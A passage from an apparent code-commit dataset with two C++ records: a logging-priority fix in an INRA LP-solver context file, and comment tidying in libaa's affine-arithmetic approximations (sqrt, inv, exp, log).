m_log_priority = priority < 0 ? 0 : 7 > priority ? 7 : priority;\n}\n\nint\ncontext::get_log_priority() const noexcept\n{\n    return m_log_priority;\n}\n\nvoid\ncontext::set_standard_stream_logger() noexcept\n{\n    set_logger(std::make_unique<standard_stream_logger>());\n}\n\nvoid\ncontext::set_logger(std::unique_ptr<logger> function) noexcept\n{\n    m_logger = std::move(function);\n}\n\n#ifndef LP_DISABLE_LOGGING\n\/\/\n\/\/ Default, the logging system is active and the call to the @c log function\n\/\/ are send to the logger functor. Define LP_DISABLE_LOGGING as preprocessor\n\/\/ value to hide all logging message..\n\/\/\nvoid\ncontext::log(message_type type, const char* format, ...) noexcept\n{\n    if (not m_logger)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(type, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::log(int priority,\n             const char* file,\n             int line,\n             const char* fn,\n             const char* format,\n             ...) noexcept\n{\n    if (not m_logger)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(priority, file, line, fn, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::info(const char* format, ...) noexcept\n{\n    if (not m_logger)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(context::message_type::info, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::debug(const char* format, ...) noexcept\n{\n    if (not m_logger)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(context::message_type::debug, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::warning(const char* format, ...) noexcept\n{\n    if (not m_logger)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(context::message_type::warning, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::error(const char* format, ...) noexcept\n{\n    if (not m_logger)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(context::message_type::err, format, args);\n    va_end(args);\n}\n#else\nvoid\ncontext::log(message_type, const char*, va_list)\n{\n}\n\nvoid\ncontext::log(int, const char*, int, const char*, const char*, va_list)\n{\n}\n\nvoid\ncontext::info(const char*, va_list)\n{\n}\n\nvoid\ncontext::warning(const char*, va_list)\n{\n}\n\nvoid\ncontext::debug(const char*, va_list)\n{\n}\n\nvoid\ncontext::error(const char*, va_list)\n{\n}\n#endif\n\nproblem\nmake_problem(std::shared_ptr<lp::context> ctx, const std::string& filename)\n{\n    ctx->info(\"problem read from file `%s'\\n\", filename.c_str());\n\n    std::ifstream ifs;\n    ifs.exceptions(std::ifstream::badbit);\n    ifs.open(filename);\n\n    return details::read_problem(ifs);\n}\n\nproblem\nmake_problem(std::shared_ptr<lp::context> ctx, std::istream& is)\n{\n    ctx->info(\"problem read from stream\\n\");\n\n    is.exceptions(std::ifstream::badbit);\n\n    return details::read_problem(is);\n}\n\nstd::ostream&\noperator<<(std::ostream& os, const problem& p)\n{\n    details::problem_writer pw(p, os);\n\n    return os;\n}\n\nresult\nsolve(std::shared_ptr<lp::context> ctx, problem& pb)\n{\n    check(pb);\n\n    std::map<std::string, parameter> params;\n\n    return mitm_solve(ctx, pb, params);\n}\n\nresult\nsolve(std::shared_ptr<lp::context> ctx,\n      problem& pb,\n      const std::map<std::string, parameter>& params)\n{\n    check(pb);\n\n    return mitm_solve(ctx, pb, params);\n}\n\nresult\noptimize(std::shared_ptr<lp::context> ctx,\n         problem& pb,\n         const std::map<std::string, parameter>& params)\n{\n    check(pb);\n\n    return mitm_optimize(ctx, pb, params);\n}\n\nresult\noptimize(std::shared_ptr<lp::context> ctx, problem& pb)\n{\n    check(pb);\n\n    std::map<std::string, parameter> params;\n\n    return mitm_optimize(ctx, pb, params);\n}\n\ntemplate <typename functionT, typename variablesT>\nint\ncompute_function(const functionT& fct, const variablesT& vars) noexcept\n{\n    int v{ 0 };\n\n    for (auto& f : fct)\n        v += f.factor * vars[f.variable_index];\n\n    return v;\n}\n\nbool\nis_valid_solution(const problem& pb, const std::vector<int>& variable_value)\n{\n    Expects(not variable_value.empty(), \"variables vector empty\");\n\n    for (auto& cst : pb.equal_constraints) {\n        if (compute_function(cst.elements, variable_value) != cst.value) {\n            printf(\"constraint %s (=) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    for (auto& cst : pb.greater_constraints) {\n        if (compute_function(cst.elements, variable_value) <= cst.value) {\n            printf(\"constraint %s (>) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    for (auto& cst : pb.greater_equal_constraints) {\n        if (compute_function(cst.elements, variable_value) < cst.value) {\n            printf(\"constraint %s (>=) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    for (auto& cst : pb.less_constraints) {\n        if (compute_function(cst.elements, variable_value) >= cst.value) {\n            printf(\"constraint %s (<) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    for (auto& cst : pb.greater_constraints) {\n        if (compute_function(cst.elements, variable_value) > cst.value) {\n            printf(\"constraint %s (<=) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    return true;\n}\n\ndouble\ncompute_solution(const problem& pb, const std::vector<int>& variable_value)\n{\n    Expects(not variable_value.empty(), \"variables vector empty\");\n\n    double ret = pb.objective.constant;\n\n    for (auto& elem : pb.objective.elements)\n        ret += elem.factor * variable_value[elem.variable_index];\n\n    return ret;\n}\n}\n<commit_msg>lpcore: fix log priority for log, error, warning, info functions<commit_after>\/* Copyright (C) 2017 INRA\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include \"lpformat-consistency.hpp\"\n#include \"lpformat-io.hpp\"\n#include \"mitm.hpp\"\n\n#include <algorithm>\n#include <fstream>\n#include <lpcore>\n\n#ifdef __unix__\n#include <unistd.h>\n#endif\n\nnamespace lp {\n\nclass standard_stream_logger : public context::logger\n{\npublic:\n    void write(int priority,\n               const char* file,\n               int line,\n               const char* fn,\n               const char* format,\n               va_list args) noexcept override\n    {\n        if (priority > 5)\n            vfprintf(stdout, format, args);\n        else {\n            fprintf(stderr,\n                    \"lp: %d at %d in function '%s' from file %s: \",\n                    priority,\n                    line,\n                    fn,\n                    file);\n            vfprintf(stderr, format, args);\n        }\n    }\n\n    void write(lp::context::message_type m,\n               const char* format,\n               va_list args) noexcept override\n    {\n#ifdef __unix__\n        if (::isatty(STDOUT_FILENO)) {\n            switch (m) {\n            case context::message_type::emerg:\n            case context::message_type::alert:\n            case context::message_type::crit:\n            case context::message_type::err:\n                ::puts(\"\\033[30m\\033[2m\");\n                break;\n            case context::message_type::warning:\n                ::puts(\"\\033[32m\\033[1m\");\n                break;\n            case context::message_type::notice:\n                break;\n            case context::message_type::info:\n                break;\n            case context::message_type::debug:\n                ::puts(\"\\033[33m\\033[1m\");\n                break;\n            }\n\n            vfprintf(stdout, format, args);\n\n            switch (m) {\n            case context::message_type::emerg:\n            case context::message_type::alert:\n            case context::message_type::crit:\n            case context::message_type::err:\n                ::puts(\"\\033[30m\\033[0m\");\n                break;\n            case context::message_type::warning:\n                ::puts(\"\\033[30m\\033[0m\");\n                break;\n            case context::message_type::notice:\n                break;\n            case context::message_type::info:\n                break;\n            case context::message_type::debug:\n                ::puts(\"\\033[30m\\033[0m\");\n                break;\n            }\n\n        } else {\n            vfprintf(stdout, format, args);\n        }\n#else\n        vfprintf(stdout, format, args);\n#endif\n    }\n};\n\nvoid\ncontext::set_log_priority(int priority) noexcept\n{\n    m_log_priority = priority < 0 ? 0 : 7 < priority ? 7 : priority;\n}\n\nint\ncontext::get_log_priority() const noexcept\n{\n    return m_log_priority;\n}\n\nvoid\ncontext::set_standard_stream_logger() noexcept\n{\n    set_logger(std::make_unique<standard_stream_logger>());\n}\n\nvoid\ncontext::set_logger(std::unique_ptr<logger> function) noexcept\n{\n    m_logger = std::move(function);\n}\n\n#ifndef LP_DISABLE_LOGGING\n\/\/\n\/\/ Default, the logging system is active and the call to the @c log function\n\/\/ are send to the logger functor. Define LP_DISABLE_LOGGING as preprocessor\n\/\/ value to hide all logging message..\n\/\/\nvoid\ncontext::log(message_type type, const char* format, ...) noexcept\n{\n    if (not m_logger)\n        return;\n\n    switch (type) {\n    case lp::context::message_type::emerg:\n        break;\n    case lp::context::message_type::alert:\n        if (m_log_priority < 1)\n            return;\n        break;\n    case lp::context::message_type::crit:\n        if (m_log_priority < 2)\n            return;\n        break;\n    case lp::context::message_type::err:\n        if (m_log_priority < 3)\n            return;\n        break;\n    case lp::context::message_type::warning:\n        if (m_log_priority < 4)\n            return;\n        break;\n    case lp::context::message_type::notice:\n        if (m_log_priority < 5)\n            return;\n        break;\n    case lp::context::message_type::info:\n        if (m_log_priority < 6)\n            return;\n        break;\n    case lp::context::message_type::debug:\n        if (m_log_priority < 7)\n            return;\n        break;\n    }\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(type, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::log(int priority,\n             const char* file,\n             int line,\n             const char* fn,\n             const char* format,\n             ...) noexcept\n{\n    if (not m_logger and m_log_priority < priority)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(priority, file, line, fn, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::info(const char* format, ...) noexcept\n{\n    if (not m_logger or m_log_priority < 6)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(context::message_type::info, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::debug(const char* format, ...) noexcept\n{\n    if (not m_logger or m_log_priority < 7)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(context::message_type::debug, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::warning(const char* format, ...) noexcept\n{\n    if (not m_logger and m_log_priority < 4)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(context::message_type::warning, format, args);\n    va_end(args);\n}\n\nvoid\ncontext::error(const char* format, ...) noexcept\n{\n    if (not m_logger and m_log_priority < 3)\n        return;\n\n    va_list args;\n\n    va_start(args, format);\n    m_logger->write(context::message_type::err, format, args);\n    va_end(args);\n}\n#else\nvoid\ncontext::log(message_type, const char*, va_list)\n{\n}\n\nvoid\ncontext::log(int, const char*, int, const char*, const char*, va_list)\n{\n}\n\nvoid\ncontext::info(const char*, va_list)\n{\n}\n\nvoid\ncontext::warning(const char*, va_list)\n{\n}\n\nvoid\ncontext::debug(const char*, va_list)\n{\n}\n\nvoid\ncontext::error(const char*, va_list)\n{\n}\n#endif\n\nproblem\nmake_problem(std::shared_ptr<lp::context> ctx, const std::string& filename)\n{\n    ctx->info(\"problem read from file `%s'\\n\", filename.c_str());\n\n    std::ifstream ifs;\n    ifs.exceptions(std::ifstream::badbit);\n    ifs.open(filename);\n\n    return details::read_problem(ifs);\n}\n\nproblem\nmake_problem(std::shared_ptr<lp::context> ctx, std::istream& is)\n{\n    ctx->info(\"problem read from stream\\n\");\n\n    is.exceptions(std::ifstream::badbit);\n\n    return details::read_problem(is);\n}\n\nstd::ostream&\noperator<<(std::ostream& os, const problem& p)\n{\n    details::problem_writer pw(p, os);\n\n    return os;\n}\n\nresult\nsolve(std::shared_ptr<lp::context> ctx, problem& pb)\n{\n    check(pb);\n\n    std::map<std::string, parameter> params;\n\n    return mitm_solve(ctx, pb, params);\n}\n\nresult\nsolve(std::shared_ptr<lp::context> ctx,\n      problem& pb,\n      const std::map<std::string, parameter>& params)\n{\n    check(pb);\n\n    return mitm_solve(ctx, pb, params);\n}\n\nresult\noptimize(std::shared_ptr<lp::context> ctx,\n         problem& pb,\n         const std::map<std::string, parameter>& params)\n{\n    check(pb);\n\n    return mitm_optimize(ctx, pb, params);\n}\n\nresult\noptimize(std::shared_ptr<lp::context> ctx, problem& pb)\n{\n    check(pb);\n\n    std::map<std::string, parameter> params;\n\n    return mitm_optimize(ctx, pb, params);\n}\n\ntemplate <typename functionT, typename variablesT>\nint\ncompute_function(const functionT& fct, const variablesT& vars) noexcept\n{\n    int v{ 0 };\n\n    for (auto& f : fct)\n        v += f.factor * vars[f.variable_index];\n\n    return v;\n}\n\nbool\nis_valid_solution(const problem& pb, const std::vector<int>& variable_value)\n{\n    Expects(not variable_value.empty(), \"variables vector empty\");\n\n    for (auto& cst : pb.equal_constraints) {\n        if (compute_function(cst.elements, variable_value) != cst.value) {\n            printf(\"constraint %s (=) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    for (auto& cst : pb.greater_constraints) {\n        if (compute_function(cst.elements, variable_value) <= cst.value) {\n            printf(\"constraint %s (>) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    for (auto& cst : pb.greater_equal_constraints) {\n        if (compute_function(cst.elements, variable_value) < cst.value) {\n            printf(\"constraint %s (>=) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    for (auto& cst : pb.less_constraints) {\n        if (compute_function(cst.elements, variable_value) >= cst.value) {\n            printf(\"constraint %s (<) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    for (auto& cst : pb.greater_constraints) {\n        if (compute_function(cst.elements, variable_value) > cst.value) {\n            printf(\"constraint %s (<=) fails\\n\", cst.label.c_str());\n            return false;\n        }\n    }\n\n    return true;\n}\n\ndouble\ncompute_solution(const problem& pb, const std::vector<int>& variable_value)\n{\n    Expects(not variable_value.empty(), \"variables vector empty\");\n\n    double ret = pb.objective.constant;\n\n    for (auto& elem : pb.objective.elements)\n        ret += elem.factor * variable_value[elem.variable_index];\n\n    return ret;\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * aa_aafapprox.cpp -- Standart non-affine operations\n * Copyright (c) 2003 EPFL (Ecole Polytechnique Federale de Lausanne)\n * Copyright (c) 2004 LIRIS (University Claude Bernard Lyon 1)\n * Copyright (c) 2005 Nathan Hurst\n *\n * This file is part of libaa.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with libaa; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n\n#include \"aa.h\"\n#include <algorithm>\n#include <cmath>\n\n#include \"aa_util.h\"\n\n\n\/\/ Operator  *\n\nAAF AAF::operator * (const AAF & P) const {\n    unsigned l1 = length;\n    unsigned l2 = P.length;\n\n    unsigned * id1 = indexes;\n    unsigned * id2 = P.indexes;\n\n    double * va1 = coefficients;\n    double * va2 = P.coefficients;\n\n    unsigned * pu1 = id1;\n    unsigned * pu2 = id2;\n\n    AAF Temp(cvalue*P.cvalue);  \/\/ Create our resulting AAF\n    \n    Temp.indexes = new unsigned [l1+l2+1];\n    unsigned * idtemp=Temp.indexes;\n\n\n    \/\/ Fill the indexes array\n\n    unsigned * fin = std::set_union(id1,id1+l1,id2,id2+l2,idtemp);\n    unsigned ltemp=fin-idtemp;\n\n    Temp.coefficients = new double [ltemp+1];\n    double * vatempg=Temp.coefficients;\n\n    Temp.length = ltemp+1;\n\n\n    \/\/ Fill the coefficients array\n\n    for (unsigned i = 0; i < ltemp; i++)\n    {\n        unsigned a = pu1-id1;\n        unsigned b = pu2-id2;\n\n        if (a==l1 || id1[a]!=idtemp[i])\n\t{\n            vatempg[i] = cvalue*va2[b];  \/\/ cvalue*va2[b]+(P.cvalue)*0\n            pu2++;\n            continue;\n\t}\n\n        if (b==l2 || id2[b]!=idtemp[i])\n\t{\n            vatempg[i] = (P.cvalue)*va1[a];  \/\/ cvalue*0+(P.cvalue)*va1[a]\n            pu1++;\n            continue;\n\t}\n\n        vatempg[i] = cvalue*va2[b] + (P.cvalue)*va1[a];\n        pu1++;\n        pu2++;\n    }\n\n\n    \/\/ Compute the error\n    \/\/ in a new noise symbol\n\n    Temp.indexes[ltemp]=inclast();\n    Temp.coefficients[ltemp]=rad()*(P.rad());\n\n    Temp.special = binary_special(special, P.special);\n    \n    return Temp;\n\n}\n\n\n\/\/ Operator  \/\n\/\/ It's a non affine-operation\n\/\/ We use the identity x\/y = x * (1\/y\n\nAAF AAF::operator \/ (const AAF & P) const {\n    return (*this)*inv(P);\n}\n\n\n\/\/ Square root operator\n\/\/ It's a non affine-operation\n\/\/ We use the Chebyshev approximation\n\nAAF sqrt(const AAF & P) {\n    handle_infinity(P);\n    \/\/ sqrt(x) is approximated by f(x)=alpha*x+dzeta\n    \/\/ delta is the maximum absolute error\n\n    const double a = P.convert().left(); \/\/ [a,b] is our interval\n    const double b = P.convert().right();\n    AAF_TYPE type;\n    if(a >= 0)\n        type = AAF_TYPE_AFFINE;\n    else if(b < 0) \n        type = AAF_TYPE_NAN;\n    else if(a < 0) \/\/ undefined, can we do better?\n        type = (AAF_TYPE)(AAF_TYPE_AFFINE | AAF_TYPE_NAN);\n    \/\/type = (AAF_TYPE)(type | P.special);\n    \n    const double t = (sqrt(a)+sqrt(b));\n\n\n    const double alpha = 1\/t; \/\/ alpha is the slope of the line r(x) that\n    \/\/ interpolate (a, sqrt(a)) and (b, f(b))\n\n    \/\/ dzeta calculation:\n    const double dzeta = (t\/8)+0.5*(sqrt(a*b))\/t;\n\n    \/\/ Calculation of the error\n    const double rdelta = (sqrt(b)-sqrt(a));\n    const double delta = rdelta*rdelta\/(8*t);\n\n    return AAF(P, alpha, dzeta, delta, type);\n}\n\n\n\/\/ Inverse (1\/x) operator\n\/\/ It's a non-affine operation\n\/\/ We use mini-range approximation\n\/\/ cause undershoot can be high with Chebyshev here\n\nAAF inv(const AAF & P) {\n    handle_infinity(P);\n    double a = P.convert().left();\n    double b = P.convert().right();\n    if(P.is_infinite() || (a <= 0) && (b >= 0)) {\n        return AAF(interval(-INFINITY, INFINITY));\n    }\n\n    \/\/ a := min(abs(a), abs(b))\n    \/\/ b := max(abs(a), abs(b))\n\n    const double t1 = fabs(a);\n    const double t2 = fabs(b);\n\n    a= t1 <? t2;  \/\/ min(t1,t2)\n    b= t1 >? t2;  \/\/ max(t1,t2)\n\n    \/\/ Derivative of 1\/x is -1\/x*x\n\n    const double alpha=-1\/(b*b);\n\n    interval i((1\/a)-alpha*a, 2\/b);\/\/-alpha*b);\n    double dzeta = i.mid();\n\n    if ((P.convert().left()) < 0) dzeta = -dzeta;\n\n    return AAF(P, alpha, dzeta, i.radius(), P.special);\n}\n\nAAF abs(const AAF & P) {\n    if(P.strictly_neg())\n        return -P;\n    if(P.straddles_zero()) {\n        AAF Temp(P);\n        Temp.cvalue = fabs(Temp.cvalue)\/2;\n        Temp.special = P.special;\n        \n        for (unsigned i=0; i<P.length; i++)\n            Temp.coefficients[i]=(Temp.coefficients[i])\/2;\n        return Temp;\n    }\n    return P;\n}\n\nAAF sqr(const AAF & P) {\n    return P*P;\n}\n\n\/\/ Power function\n\/\/ only for integer exponents\n\nAAF pow(const AAF & P, int exp) {\n    handle_infinity(P);\n    if (exp == 0) {\n        return 1;\n    } else if (exp > 0) {\n        if(exp & 1)\n            return sqr(pow(P, exp>>1))*P;\n        else\n            return sqr(pow(P, exp>>1));\n    } else {\n        return inv(pow(P, -exp));\n    }\n}\n\nAAF pow(const AAF & P, double xp) {\n    return exp(xp*log(P));\n}\n\n\/\/ Exponential operator\n\/\/ It's a non affine-operation\n\nAAF exp(const AAF & P) {\n    handle_infinity(P); \/\/ infinity maps to [0, infty) here\n    \/\/ exp(x) is approximated by f(x)=alpha*x+dzeta\n    \/\/ delta is the maximum absolute error\n\n    const double a = P.convert().left(); \/\/ [a,b] is our interval\n    const double b = P.convert().right();\n    \n    const double ea = exp(a);\n    const double eb = exp(b);\n    if(ea == INFINITY) {\n        printf(\"infinity at %g, %g -> (%g, %g)\\n\", a, b, ea, eb);\n    }\n    \n    const double alpha = (eb-ea)\/(b-a);\n\/\/ alpha is the slope of the line r(x) that\n    \/\/ interpolate (a, exp(a)) and (b, exp(b))\n    const double xs = log(alpha);\/\/ the x of the maximum error\n    const double maxdelta = alpha*(xs - 1 - a)+ea;\n\n    \/\/ dzeta calculation:\n    const double dzeta = alpha*(1 - xs);\n\n    \/\/ Calculation of the error\n    const double delta = maxdelta\/2;\n    \/\/printf(\"(%g, %g, %g) -> (%g, %g) @ (%g*x + %g) e = %g\\n\", a, xs, b, ea, eb, alpha, dzeta, delta);\n\n    return AAF(P, alpha, dzeta, delta, P.special);\n}\n\n\/\/ Exponential operator\n\/\/ It's a non affine-operation\n\nAAF log(const AAF & P) {\n    handle_infinity(P); \/\/ infinity maps to [0, infty) here\n    \/\/ exp(x) is approximated by f(x)=alpha*x+dzeta\n    \/\/ delta is the maximum absolute error\n\n    const double a = P.convert().left(); \/\/ [a,b] is our interval\n    const double b = P.convert().right();\n    \n    AAF_TYPE type;\n    if(a > 0)\n        type = AAF_TYPE_AFFINE;\n    else if(b < 0) { \/\/ no point in continuing\n        type = AAF_TYPE_NAN;\n        return AAF(type);\n    }\n    else if(a <= 0) {\/\/ undefined, can we do better?\n        type = (AAF_TYPE)(AAF_TYPE_AFFINE | AAF_TYPE_NAN);\n        return AAF(type);\n\/\/ perhaps we should make a = 0+eps and try to continue?\n    }\n    \n    const double la = log(a);\n    const double lb = log(b);\n    \n    const double alpha = (lb-la)\/(b-a);\n\/\/ alpha is the slope of the line r(x) that\n    \/\/ interpolate (a, exp(a)) and (b, exp(b))\n    const double xs = 1\/(alpha);\/\/ the x of the maximum error\n    const double ys = (alpha*(xs - a)+la);\n    const double maxdelta = log(xs) - ys;\n\n    \/\/ dzeta calculation:\n    const double dzeta = alpha*(-xs)+(log(xs)+ys)\/2;\n\n    \/\/ Calculation of the error\n    const double delta = maxdelta\/2;\n    \/\/printf(\"(%g, %g, %g) -> (%g, %g, %g) @ (%g*x + %g) e = %g\\n\", a, xs, b, la, log(xs), lb, alpha, dzeta, delta);\n    \/\/printf(\"plot [%g:%g] log(x), (%g*x + %g)\\n\", a, b, alpha, dzeta);\n\n    return AAF(P, alpha, dzeta, delta, type);\n}\n\n\n\n\/*\n  Local Variables:\n  mode:c++\n  c-file-style:\"stroustrup\"\n  c-file-offsets:((innamespace . 0)(inline-open . 0))\n  indent-tabs-mode:nil\n  fill-column:99\n  End:\n*\/\n\n\n\/\/ vim: filetype=c++:expandtab:shiftwidth=4:tabstop=8:softtabstop=4 :\n<commit_msg>tidy up<commit_after>\/*\n * aa_aafapprox.cpp -- Standart non-affine operations\n * Copyright (c) 2003 EPFL (Ecole Polytechnique Federale de Lausanne)\n * Copyright (c) 2004 LIRIS (University Claude Bernard Lyon 1)\n * Copyright (c) 2005 Nathan Hurst\n *\n * This file is part of libaa.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with libaa; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n\n#include \"aa.h\"\n#include <algorithm>\n#include <cmath>\n\n#include \"aa_util.h\"\n\n\n\/\/ Operator  *\n\nAAF AAF::operator * (const AAF & P) const {\n    unsigned l1 = length;\n    unsigned l2 = P.length;\n\n    unsigned * id1 = indexes;\n    unsigned * id2 = P.indexes;\n\n    double * va1 = coefficients;\n    double * va2 = P.coefficients;\n\n    unsigned * pu1 = id1;\n    unsigned * pu2 = id2;\n\n    AAF Temp(cvalue*P.cvalue);  \/\/ Create our resulting AAF\n    \n    Temp.indexes = new unsigned [l1+l2+1];\n    unsigned * idtemp=Temp.indexes;\n\n\n    \/\/ Fill the indexes array\n\n    unsigned * fin = std::set_union(id1,id1+l1,id2,id2+l2,idtemp);\n    unsigned ltemp=fin-idtemp;\n\n    Temp.coefficients = new double [ltemp+1];\n    double * vatempg=Temp.coefficients;\n\n    Temp.length = ltemp+1;\n\n\n    \/\/ Fill the coefficients array\n\n    for (unsigned i = 0; i < ltemp; i++)\n    {\n        unsigned a = pu1-id1;\n        unsigned b = pu2-id2;\n\n        if (a==l1 || id1[a]!=idtemp[i])\n\t{\n            vatempg[i] = cvalue*va2[b];  \/\/ cvalue*va2[b]+(P.cvalue)*0\n            pu2++;\n            continue;\n\t}\n\n        if (b==l2 || id2[b]!=idtemp[i])\n\t{\n            vatempg[i] = (P.cvalue)*va1[a];  \/\/ cvalue*0+(P.cvalue)*va1[a]\n            pu1++;\n            continue;\n\t}\n\n        vatempg[i] = cvalue*va2[b] + (P.cvalue)*va1[a];\n        pu1++;\n        pu2++;\n    }\n\n\n    \/\/ Compute the error\n    \/\/ in a new noise symbol\n\n    Temp.indexes[ltemp]=inclast();\n    Temp.coefficients[ltemp]=rad()*(P.rad());\n\n    Temp.special = binary_special(special, P.special);\n    \n    return Temp;\n\n}\n\n\n\/\/ Operator  \/\n\/\/ It's a non affine-operation\n\/\/ We use the identity x\/y = x * (1\/y)\n\nAAF AAF::operator \/ (const AAF & P) const {\n    return (*this)*inv(P);\n}\n\n\n\/\/ Square root operator\n\/\/ It's a non affine-operation\n\/\/ We use the Chebyshev approximation\n\nAAF sqrt(const AAF & P) {\n    handle_infinity(P);\n    \/\/ sqrt(x) is approximated by f(x)=alpha*x+dzeta\n    \/\/ delta is the maximum absolute error\n\n    const double a = P.convert().left(); \/\/ [a,b] is our interval\n    const double b = P.convert().right();\n    AAF_TYPE type;\n    if(a >= 0)\n        type = AAF_TYPE_AFFINE;\n    else if(b < 0) \n        type = AAF_TYPE_NAN;\n    else if(a < 0) \/\/ undefined, can we do better?\n        type = (AAF_TYPE)(AAF_TYPE_AFFINE | AAF_TYPE_NAN);\n    \/\/type = (AAF_TYPE)(type | P.special);\n    \n    const double t = (sqrt(a)+sqrt(b));\n\n\n    const double alpha = 1\/t; \/\/ alpha is the slope of the line r(x) that\n    \/\/ interpolate (a, sqrt(a)) and (b, f(b))\n\n    \/\/ dzeta calculation:\n    const double dzeta = (t\/8)+0.5*(sqrt(a*b))\/t;\n\n    \/\/ Calculation of the error\n    const double rdelta = (sqrt(b)-sqrt(a));\n    const double delta = rdelta*rdelta\/(8*t);\n\n    return AAF(P, alpha, dzeta, delta, type);\n}\n\n\n\/\/ Inverse (1\/x) operator\n\/\/ It's a non-affine operation\n\/\/ We use mini-range approximation\n\/\/ because undershoot can be high with Chebyshev here\n\nAAF inv(const AAF & P) {\n    handle_infinity(P);\n    double a = P.convert().left();\n    double b = P.convert().right();\n    if(P.is_infinite() || (a <= 0) && (b >= 0)) {\n        return AAF(interval(-INFINITY, INFINITY));\n    }\n\n    \/\/ a := min(abs(a), abs(b))\n    \/\/ b := max(abs(a), abs(b))\n\n    const double t1 = fabs(a);\n    const double t2 = fabs(b);\n\n    a= t1 <? t2;  \/\/ min(t1,t2)\n    b= t1 >? t2;  \/\/ max(t1,t2)\n\n    \/\/ Derivative of 1\/x is -1\/x*x\n\n    const double alpha=-1\/(b*b);\n\n    interval i((1\/a)-alpha*a, 2\/b);\/\/-alpha*b);\n    double dzeta = i.mid();\n\n    if ((P.convert().left()) < 0) dzeta = -dzeta;\n\n    return AAF(P, alpha, dzeta, i.radius(), P.special);\n}\n\nAAF abs(const AAF & P) {\n    if(P.strictly_neg())\n        return -P;\n    if(P.straddles_zero()) {\n        AAF Temp(P);\n        Temp.cvalue = fabs(Temp.cvalue)\/2;\n        Temp.special = P.special;\n        \n        for (unsigned i=0; i<P.length; i++)\n            Temp.coefficients[i]=(Temp.coefficients[i])\/2;\n        return Temp;\n    }\n    return P;\n}\n\nAAF sqr(const AAF & P) {\n    return P*P;\n}\n\n\/\/ Power function\n\/\/ only for integer exponents\n\nAAF pow(const AAF & P, int exp) {\n    handle_infinity(P);\n    if (exp == 0) {\n        return 1;\n    } else if (exp > 0) {\n        if(exp & 1)\n            return sqr(pow(P, exp>>1))*P;\n        else\n            return sqr(pow(P, exp>>1));\n    } else {\n        return inv(pow(P, -exp));\n    }\n}\n\nAAF pow(const AAF & P, double xp) {\n    return exp(xp*log(P));\n}\n\n\/\/ Exponential operator\n\/\/ It's a non affine-operation\n\nAAF exp(const AAF & P) {\n    handle_infinity(P); \/\/ infinity maps to [0, infty) here\n    \/\/ exp(x) is approximated by f(x)=alpha*x+dzeta\n    \/\/ delta is the maximum absolute error\n\n    const double a = P.convert().left(); \/\/ [a,b] is our interval\n    const double b = P.convert().right();\n    \n    const double ea = exp(a);\n    const 